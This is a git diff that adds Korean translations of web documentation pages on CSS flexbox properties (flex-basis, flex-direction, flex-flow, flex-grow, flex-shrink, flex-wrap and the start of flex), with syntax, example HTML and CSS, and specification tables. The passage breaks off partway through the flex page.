+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul class="container"&gt;
+ &lt;li class="flex flex1"&gt;1: flex-basis test&lt;/li&gt;
+ &lt;li class="flex flex2"&gt;2: flex-basis test&lt;/li&gt;
+ &lt;li class="flex flex3"&gt;3: flex-basis test&lt;/li&gt;
+ &lt;li class="flex flex4"&gt;4: flex-basis test&lt;/li&gt;
+ &lt;li class="flex flex5"&gt;5: flex-basis test&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;ul class="container"&gt;
+ &lt;li class="flex flex6"&gt;6: flex-basis test&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.container {
+ font-family: arial, sans-serif;
+ margin: 0;
+ padding: 0;
+ list-style-type: none;
+ display: flex;
+ flex-wrap: wrap;
+}
+
+.flex {
+ background: #6AB6D8;
+ padding: 10px;
+ margin-bottom: 50px;
+ border: 3px solid #2E86BB;
+ color: white;
+ font-size: 20px;
+ text-align: center;
+ position: relative;
+}
+
+.flex:after {
+ position: absolute;
+ z-index: 1;
+ left: 0;
+ top: 100%;
+ margin-top: 10px;
+ width: 100%;
+ color: #333;
+ font-size: 18px;
+}
+
+.flex1 {
+ flex-basis: auto;
+}
+
+.flex1:after {
+ content: 'auto';
+}
+
+.flex2 {
+ flex-basis: max-content;
+}
+
+.flex2:after {
+ content: 'max-content';
+}
+
+.flex3 {
+ flex-basis: min-content;
+}
+
+.flex3:after {
+ content: 'min-content';
+}
+
+.flex4 {
+ flex-basis: fit-content;
+}
+
+.flex4:after {
+ content: 'fit-content';
+}
+
+.flex5 {
+ flex-basis: content;
+}
+
+.flex5:after {
+ content: 'content';
+}
+
+.flex6 {
+ flex-basis: fill;
+}
+
+.flex6:after {
+ content: 'fill';
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제', '860', '360', '')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th>Specification</th>
+ <th>Status</th>
+ <th>Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Flexbox', '#propdef-flex-basis', 'flex-basis')}}</td>
+ <td>{{Spec2('CSS3 Flexbox')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.flex-basis")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>CSS 플렉스박스 안내서: <em><a href="/ko/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic Concepts of Flexbox</a></em></li>
+ <li>CSS 플렉스박스 안내서: <em><a href="/ko/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">Controlling Ratios of flex items along the main axis</a></em></li>
+ <li>{{cssxref("width")}}</li>
+</ul>
diff --git a/files/ko/web/css/flex-direction/index.html b/files/ko/web/css/flex-direction/index.html
new file mode 100644
index 0000000000..9d3ae04a49
--- /dev/null
+++ b/files/ko/web/css/flex-direction/index.html
@@ -0,0 +1,155 @@
+---
+title: flex-direction
+slug: Web/CSS/flex-direction
+tags:
+ - CSS
+ - CSS Flexible Boxes
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/flex-direction
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>flex-direction</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 플렉스 컨테이너 내의 아이템을 배치할 때 사용할 주축 및 방향(정방향, 역방향)을 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/flex-direction.html")}}</div>
+
+
+
+<p><code>row</code>와 <code>row-reverse</code>의 경우 플렉스 컨테이너의 방향성에 영향을 받음을 참고하세요. 컨테이너의 <code>dir</code> 값이 <code>ltr</code>이라면 <code>row</code>는 왼쪽부터 시작하는 가로축을, <code>row-reverse</code>는 오른쪽부터 시작하는 가로축을 나타냅니다. 그러나 <code>dir</code> 값이 <code>rtl</code>이라면 <code>row</code>가 오른쪽부터 시작하는 가로축을, <code>row-reverse</code>가 왼쪽부터 시작하는 가로축을 나타냅니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* 한 줄의 글을 작성하는 방향대로 */
+flex-direction: row;
+
+/* &lt;row&gt;처럼, 대신 역방향 */
+flex-direction: row-reverse;
+
+/* 글 여러 줄이 쌓이는 방향대로 */
+flex-direction: column;
+
+/* &lt;column&gt;처럼, 대신 역방향 */
+flex-direction: column-reverse;
+
+/* 전역 값 */
+flex-direction: inherit;
+flex-direction: initial;
+flex-direction: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>row</code></dt>
+ <dd>플렉스 컨테이너의 주축이 글의 작성 방향과 동일합니다. 주축의 시작점과 끝점이 콘텐츠 방향과 동일합니다.</dd>
+ <dt><code>row-reverse</code></dt>
+ <dd><code>row</code>와 동일하게 동작하지만 시작점과 끝점이 반대에 위치합니다.</dd>
+ <dt><code>column</code></dt>
+ <dd>플렉스 컨테이너의 주축이 블록 축과 동일합니다. 주축의 시작점과 끝점이, 글 작성 모드의 이전 지점 및 이후 지점과 동일합니다.</dd>
+ <dt><code>column-reverse</code></dt>
+ <dd><code>column</code>과 동일하게 동작하지만 시작점과 끝점이 반대에 위치합니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;h4&gt;This is a Column-Reverse&lt;/h4&gt;
+&lt;div id="content"&gt;
+ &lt;div class="box" style="background-color:red;"&gt;A&lt;/div&gt;
+ &lt;div class="box" style="background-color:lightblue;"&gt;B&lt;/div&gt;
+ &lt;div class="box" style="background-color:yellow;"&gt;C&lt;/div&gt;
+&lt;/div&gt;
+&lt;h4&gt;This is a Row-Reverse&lt;/h4&gt;
+&lt;div id="content1"&gt;
+ &lt;div class="box1" style="background-color:red;"&gt;A&lt;/div&gt;
+ &lt;div class="box1" style="background-color:lightblue;"&gt;B&lt;/div&gt;
+ &lt;div class="box1" style="background-color:yellow;"&gt;C&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#content {
+ width: 200px;
+ height: 200px;
+ border: 1px solid #c3c3c3;
+ display: -webkit-flex;
+ -webkit-flex-direction: column-reverse;
+ display: flex;
+ flex-direction: column-reverse;
+}
+
+.box {
+ width: 50px;
+ height: 50px;
+}
+
+#content1 {
+ width: 200px;
+ height: 200px;
+ border: 1px solid #c3c3c3;
+ display: -webkit-flex;
+ -webkit-flex-direction: row-reverse;
+ display: flex;
+ flex-direction: row-reverse;
+}
+
+.box1 {
+ width: 50px;
+ height: 50px;
+}</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{ EmbedLiveSample('예제', '', '300') }}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p><code>flex-direction</code> 속성에 <code>row-reverse</code> 또는 <code>column-reverse</code> 값을 사용하면 DOM 구조와 그 시각적 표현에 차이가 생깁니다. 이는 낮은 시력으로 스크린 리더 등 접근성 기술을 사용해 이동하는 사용자의 경험에 부정적인 영향을 줄 수 있습니다. 시각적(CSS) 순서가 중요하다고 해도, 스크린 리더 사용자는 그 순서가 어떻게 되는지 알 수 없습니다.</p>
+
+<ul>
+ <li><a href="https://tink.uk/flexbox-the-keyboard-navigation-disconnect/" rel="noopener">Flexbox &amp; the keyboard navigation disconnect — Tink</a></li>
+ <li><a href="http://adrianroselli.com/2015/09/source-order-matters.html" rel="noopener">Source Order Matters | Adrian Roselli</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.3_%E2%80%94_Create_content_that_can_be_presented_in_different_ways">MDN Understanding WCAG, Guideline 1.3 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/content-structure-separation-sequence.html" rel="noopener">Understanding Success Criterion 1.3.2 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th>Specification</th>
+ <th>Status</th>
+ <th>Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Flexbox', '#flex-direction', 'flex-direction')}}</td>
+ <td>{{Spec2('CSS3 Flexbox')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.flex-direction")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>CSS 플렉스박스 가이드: <em><a href="/ko/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic Concepts of Flexbox</a></em></li>
+ <li>CSS 플렉스박스 가이드: <em><a href="/ko/docs/Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items">Ordering flex items</a></em></li>
+</ul>
diff --git a/files/ko/web/css/flex-flow/index.html b/files/ko/web/css/flex-flow/index.html
new file mode 100644
index 0000000000..33d68c5188
--- /dev/null
+++ b/files/ko/web/css/flex-flow/index.html
@@ -0,0 +1,91 @@
+---
+title: flex-flow
+slug: Web/CSS/flex-flow
+tags:
+ - CSS
+ - CSS Flexible Boxes
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/flex-flow
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>flex-flow</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 {{cssxref("flex-direction")}}, {{cssxref("flex-wrap")}} 속성의 <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/flex-flow.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* flex-flow: &lt;'flex-direction'&gt; */
+flex-flow: row;
+flex-flow: row-reverse;
+flex-flow: column;
+flex-flow: column-reverse;
+
+/* flex-flow: &lt;'flex-wrap'&gt; */
+flex-flow: nowrap;
+flex-flow: wrap;
+flex-flow: wrap-reverse;
+
+/* flex-flow: &lt;'flex-direction'&gt;과 &lt;'flex-wrap'&gt; */
+flex-flow: row nowrap;
+flex-flow: column wrap;
+flex-flow: column-reverse wrap-reverse;
+
+/* 전역 값 */
+flex-flow: inherit;
+flex-flow: initial;
+flex-flow: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<p>자세한 내용은 {{cssxref("flex-direction")}}과 {{cssxref("flex-wrap")}} 속성을 참고하세요.</p>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:css;highlight:3">element {
+ /* Main-axis is the block direction with reversed main-start and main-end. Flex items are laid out in multiple lines */
+ flex-flow: column-reverse wrap;
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Flexbox','#flex-flow-property','flex-flow') }}</td>
+ <td>{{ Spec2('CSS3 Flexbox') }}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.flex-flow")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>CSS 플렉스박스 가이드: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic Concepts of Flexbox</a></em></li>
+ <li>CSS 플렉스박스 가이드: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items">Ordering flex items</a></em></li>
+</ul>
diff --git a/files/ko/web/css/flex-grow/index.html b/files/ko/web/css/flex-grow/index.html
new file mode 100644
index 0000000000..544fe486cc
--- /dev/null
+++ b/files/ko/web/css/flex-grow/index.html
@@ -0,0 +1,123 @@
+---
+title: flex-grow
+slug: Web/CSS/flex-grow
+tags:
+ - CSS
+ - CSS Flexible Boxes
+ - CSS Property
+ - NeedsContent
+ - Reference
+translation_of: Web/CSS/flex-grow
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>flex-grow</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> property 는 <code>flex-item</code> 요소가, <code>flex-container</code> 요소 내부에서 할당 가능한 공간의 정도를 선언합니다. 만약 <strong>형제 요소</strong>로 렌더링 된 모든 <code>flex-item</code> 요소들이 동일한 <code>flex-grow</code> 값을 갖는다면, <code>flex-container</code> 내부에서 동일한 공간을 할당받습니다. 하지만 <code>flex-grow</code> 값으로 다른 소수값을 지정한다면, 그에 따라 다른 공간값을 나누어 할당받게 됩니다.</p>
+
+<p>보통 <code>flex-grow</code>를 사용할땐, {{ Cssxref("flex-shrink") }}, {{ Cssxref("flex-basis") }} 속성을 함께 사용합니다. 그리고 일반적으로는 모든 값이 설정되었음을 보장하기 위하여 {{ Cssxref("flex") }} 속성을 이용해 <strong>축약형</strong>으로 사용합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/flex-grow.html")}}</div>
+
+
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;number&gt; values */
+flex-grow: 3;
+flex-grow: 0.6;
+
+/* Global values */
+flex-grow: inherit;
+flex-grow: initial;
+flex-grow: unset;
+</pre>
+
+<p><code>flex-grow</code> 속성에 대한 값은 <code><a href="#&lt;number>">&lt;number&gt;</a></code> 단독으로 표현합니다.</p>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><a id="&lt;number>" name="&lt;number>"><code>&lt;number&gt;</code></a></dt>
+ <dd>관련 링크를 참고하세요. {{cssxref("&lt;number&gt;")}}. 단, 음수값은 허용되지 않습니다.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<div id="Live_Sample">
+<pre class="brush: html">&lt;h4&gt;This is a Flex-Grow&lt;/h4&gt;
+&lt;h5&gt;A,B,C and F are flex-grow:1 . D and E are flex-grow:2 .&lt;/h5&gt;
+&lt;div id="content"&gt;
+ &lt;div class="box" style="background-color:red;"&gt;A&lt;/div&gt;
+ &lt;div class="box" style="background-color:lightblue;"&gt;B&lt;/div&gt;
+ &lt;div class="box" style="background-color:yellow;"&gt;C&lt;/div&gt;
+ &lt;div class="box1" style="background-color:brown;"&gt;D&lt;/div&gt;
+ &lt;div class="box1" style="background-color:lightgreen;"&gt;E&lt;/div&gt;
+ &lt;div class="box" style="background-color:brown;"&gt;F&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#content {
+ display: flex;
+
+ justify-content: space-around;
+ flex-flow: row wrap;
+ align-items: stretch;
+}
+
+.box {
+ flex-grow: 1;
+ border: 3px solid rgba(0,0,0,.2);
+}
+
+.box1 {
+ flex-grow: 2;
+ border: 3px solid rgba(0,0,0,.2);
+}
+</pre>
+</div>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample('Example', '700px', '300px', '', 'Web/CSS/flex-grow')}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Flexbox','#flex-grow-property','flex-grow')}}</td>
+ <td>{{Spec2('CSS3 Flexbox')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.flex-grow")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic Concepts of Flexbox</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">Controlling Ratios of flex items along the main axis</a></em></li>
+ <li><a href="https://css-tricks.com/flex-grow-is-weird/">`flex-grow` is weird. Or is it?</a> article by Manuel Matuzovic on CSS-Tricks, which illustrates how flex-grow works</li>
+</ul>
diff --git a/files/ko/web/css/flex-shrink/index.html b/files/ko/web/css/flex-shrink/index.html
new file mode 100644
index 0000000000..14a6f5427f
--- /dev/null
+++ b/files/ko/web/css/flex-shrink/index.html
@@ -0,0 +1,123 @@
+---
+title: flex-shrink
+slug: Web/CSS/flex-shrink
+tags:
+ - CSS
+ - CSS Flexible Boxes
+ - CSS Property
+ - NeedsContent
+ - Reference
+translation_of: Web/CSS/flex-shrink
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>flex-shrink</code></strong> <a href="/en-US/docs/CSS" title="CSS">CSS</a> property는 <code>flex-item</code> 요소의 <code>flex-shrink</code> 값을 설정하는 속성입니다. 만약 <code>flex-item</code> 요소의 크기가 <code>flex-container</code> 요소의 크기보다 클 때 flex-shrink 속성을 사용하는데, 설정된 숫자값에 따라 <code>flex-container</code> 요소 내부에서 <code>flex-item</code> 요소의 크기가 <strong>축소</strong>됩니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/flex-shrink.html")}}</div>
+
+
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;number&gt; values */
+flex-shrink: 2;
+flex-shrink: 0.6;
+
+/* Global values */
+flex-shrink: inherit;
+flex-shrink: initial;
+flex-shrink: unset;
+</pre>
+
+<p>The <code>flex-shrink</code> property is specified as a single <code><a href="#&lt;number>">&lt;number&gt;</a></code>.</p>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><a id="&lt;number>" name="&lt;number>"><code>&lt;number&gt;</code></a></dt>
+ <dd>관련 링크를 참고하세요{{cssxref("&lt;number&gt;")}}. 단, 음수값은 허용되지 않습니다.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<div id="Live_Sample">
+<pre class="brush: html">&lt;p&gt;The width of content is 500px; the flex-basis of the flex items is 120px.&lt;/p&gt;
+&lt;p&gt;A, B, C have flex-shrink:1 set. D and E have flex-shrink:2 set&lt;/p&gt;
+&lt;p&gt;The width of D and E is less than the others.&lt;/p&gt;
+&lt;div id="content"&gt;
+ &lt;div class="box" style="background-color:red;"&gt;A&lt;/div&gt;
+ &lt;div class="box" style="background-color:lightblue;"&gt;B&lt;/div&gt;
+ &lt;div class="box" style="background-color:yellow;"&gt;C&lt;/div&gt;
+ &lt;div class="box1" style="background-color:brown;"&gt;D&lt;/div&gt;
+ &lt;div class="box1" style="background-color:lightgreen;"&gt;E&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#content {
+ display: flex;
+ width: 500px;
+}
+
+#content div {
+ flex-basis: 120px;
+ border: 3px solid rgba(0,0,0,.2);
+}
+
+.box {
+ flex-shrink: 1;
+}
+
+.box1 {
+ flex-shrink: 2;
+}
+</pre>
+</div>
+
+<h3 id="Result">Result</h3>
+
+<p>{{ EmbedLiveSample('Example', 500, 300) }}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th>Specification</th>
+ <th>Status</th>
+ <th>Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Flexbox', '#flex-shrink', 'flex-shrink') }}</td>
+ <td>{{ Spec2('CSS3 Flexbox') }}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.flex-shrink")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic Concepts of Flexbox</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">Controlling Ratios of flex items along the main axis</a></em></li>
+</ul>
+
+<p><nobr></nobr></p>
diff --git a/files/ko/web/css/flex-wrap/index.html b/files/ko/web/css/flex-wrap/index.html
new file mode 100644
index 0000000000..7ee27b4386
--- /dev/null
+++ b/files/ko/web/css/flex-wrap/index.html
@@ -0,0 +1,159 @@
+---
+title: flex-wrap
+slug: Web/CSS/flex-wrap
+tags:
+ - CSS
+ - CSS Flexible Boxes
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/flex-wrap
+---
+<div>{{ CSSRef}}</div>
+
+<p><a href="/en-US/docs/CSS" title="CSS">CSS</a> <strong><code>flex-wrap</code></strong> property는 <code>flex-item</code> 요소들이 강제로 한줄에 배치되게 할 것인지, 또는 가능한 영역 내에서 벗어나지 않고 여러행으로 나누어 표현 할 것인지 결정하는 속성입니다. 만약 영역 내에서 벗어나지 못하게 설정한다면, 동시에 요소의 방향 축을 결정할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/flex-wrap.html")}}</div>
+
+
+
+<p>여기를 참고하면 관련된 더욱 자세한 정보를 얻을 수 있습니다. <a href="/en/CSS/Using_CSS_flexible_boxes" title="/en/CSS/Using_CSS_flexible_boxes">Using CSS flexible boxes</a></p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush:css no-line-numbers">flex-wrap: nowrap; /* Default value */
+flex-wrap: wrap;
+flex-wrap: wrap-reverse;
+
+/* Global values */
+flex-wrap: inherit;
+flex-wrap: initial;
+flex-wrap: unset;
+</pre>
+
+<p><code>flex-wrap</code> 속성의 값으로, 다음 목록 중 하나의 키워드를 선택할 수 있습니다.</p>
+
+<h3 id="Values">Values</h3>
+
+<p>아래는 사용 가능한 속성값들입니다:</p>
+
+<dl>
+ <dt><code>nowrap</code></dt>
+ <dd>기본 설정값으로, <code>flex-container</code> 부모요소 영역을 벗어나더라도 <code>flex-item</code> 요소들을 <strong>한 줄</strong>에 배치합니다. 시작점은 {{cssxref("flex-direction")}} 에 의해 결정된 방향으로 적용됩니다.</dd>
+ <dt><code>wrap</code></dt>
+ <dd><code>flex-item</code> 요소들이 내부 로직에 의해 분할되어 여러 행에 걸쳐서 배치됩니다. <code>nowrap</code> 속성과 마찬가지로 요소가 배치되는 시작점은 {{cssxref("flex-direction")}} 에 의해 결정됩니다. 일반적으로 위에서 아래로 쌓이는 순서입니다.</dd>
+ <dt><code>wrap-reverse</code></dt>
+ <dd><code>wrap</code> 속성값과 동일하지만, 요소가 나열되는 시작점과 끝점의 기준이 반대로 배치됩니다.</dd>
+ <dt>
+ <h3 id="Formal_syntax">Formal syntax</h3>
+ </dt>
+</dl>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<div id="Live_Sample">
+<pre class="brush: html">&lt;h4&gt;This is an example for flex-wrap:wrap &lt;/h4&gt;
+&lt;div class="content"&gt;
+ &lt;div class="red"&gt;1&lt;/div&gt;
+ &lt;div class="green"&gt;2&lt;/div&gt;
+ &lt;div class="blue"&gt;3&lt;/div&gt;
+&lt;/div&gt;
+&lt;h4&gt;This is an example for flex-wrap:nowrap &lt;/h4&gt;
+&lt;div class="content1"&gt;
+ &lt;div class="red"&gt;1&lt;/div&gt;
+ &lt;div class="green"&gt;2&lt;/div&gt;
+ &lt;div class="blue"&gt;3&lt;/div&gt;
+&lt;/div&gt;
+&lt;h4&gt;This is an example for flex-wrap:wrap-reverse &lt;/h4&gt;
+&lt;div class="content2"&gt;
+ &lt;div class="red"&gt;1&lt;/div&gt;
+ &lt;div class="green"&gt;2&lt;/div&gt;
+ &lt;div class="blue"&gt;3&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">/* Common Styles */
+.content,
+.content1,
+.content2 {
+  color: #fff;
+  font: 100 24px/100px sans-serif;
+   height: 150px;
+  text-align: center;
+}
+
+.content div,
+.content1 div,
+.content2 div {
+    height: 50%;
+    width: 50%;
+}
+.red {
+    background: orangered;
+}
+.green {
+    background: yellowgreen;
+}
+.blue {
+    background: steelblue;
+}
+
+/* Flexbox Styles */
+.content {
+ display: flex;
+ flex-wrap: wrap;
+}
+.content1 {
+    display: flex;
+    flex-wrap: nowrap;
+}
+.content2 {
+    display: flex;
+    flex-wrap: wrap-reverse;
+}
+
+</pre>
+</div>
+
+<h3 id="Results">Results</h3>
+
+<p>{{ EmbedLiveSample('Examples', '700px', '700px', '', 'Web/CSS/flex-wrap') }}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th>Specification</th>
+ <th>Status</th>
+ <th>Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Flexbox', '#flex-wrap-property', 'flex-wrap') }}</td>
+ <td>{{ Spec2('CSS3 Flexbox') }}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.flex-wrap")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic Concepts of Flexbox</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items">Mastering wrapping of flex items</a></em></li>
+</ul>
diff --git a/files/ko/web/css/flex/index.html b/files/ko/web/css/flex/index.html
new file mode 100644
index 0000000000..d7bd9f9d3d
--- /dev/null
+++ b/files/ko/web/css/flex/index.html
@@ -0,0 +1,267 @@
+---
+title: flex
+slug: Web/CSS/flex
+tags:
+ - CSS
+ - CSS Flexible Boxes
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/flex
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>flex</code></strong> <a href="/ko/docs/CSS" title="CSS">CSS</a> 속성은 하나의 플렉스 아이템이 자신의 컨테이너가 차지하는 공간에 맞추기 위해 크기를 키우거나 줄이는 방법을 설정하는 속성입니다.</span> <code>flex</code>는 {{cssxref("flex-grow")}}, {{cssxref("flex-shrink")}}, {{cssxref("flex-basis")}}의 <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/flex.html")}}</div>
+
+
+
+<p>대부분의 경우, <code>flex</code>의 값에는 <code>auto</code>, <code>initial</code>, <code>none</code>이나 단위 없는 양의 수를 사용해야 합니다. 각 값의 적용 효과를 보려면 아래 플렉스 컨테이너의 크기를 조절해보세요.</p>
+
+<div id="flex">
+<pre class="hidden brush: html">&lt;div class="flex-container"&gt;
+ &lt;div class="item auto"&gt;auto&lt;/div&gt;
+ &lt;div class="item auto"&gt;auto&lt;/div&gt;
+ &lt;div class="item auto"&gt;auto&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="flex-container"&gt;
+ &lt;div class="item auto"&gt;auto&lt;/div&gt;
+ &lt;div class="item initial"&gt;initial&lt;/div&gt;
+ &lt;div class="item initial"&gt;initial&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="flex-container"&gt;
+ &lt;div class="item auto"&gt;auto&lt;/div&gt;
+ &lt;div class="item auto"&gt;auto&lt;/div&gt;
+ &lt;div class="item none"&gt;none&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="flex-container"&gt;
+ &lt;div class="item initial"&gt;initial&lt;/div&gt;
+ &lt;div class="item none"&gt;none&lt;/div&gt;
+ &lt;div class="item none"&gt;none&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="flex-container"&gt;
+ &lt;div class="item four"&gt;4&lt;/div&gt;
+ &lt;div class="item two"&gt;2&lt;/div&gt;
+ &lt;div class="item one"&gt;1&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="hidden brush: css">* {
+ box-sizing: border-box;
+}
+
+.flex-container {
+ background-color: #F4F7F8;
+ resize: horizontal;
+ overflow: hidden;
+ display: flex;
+ margin: 1em;
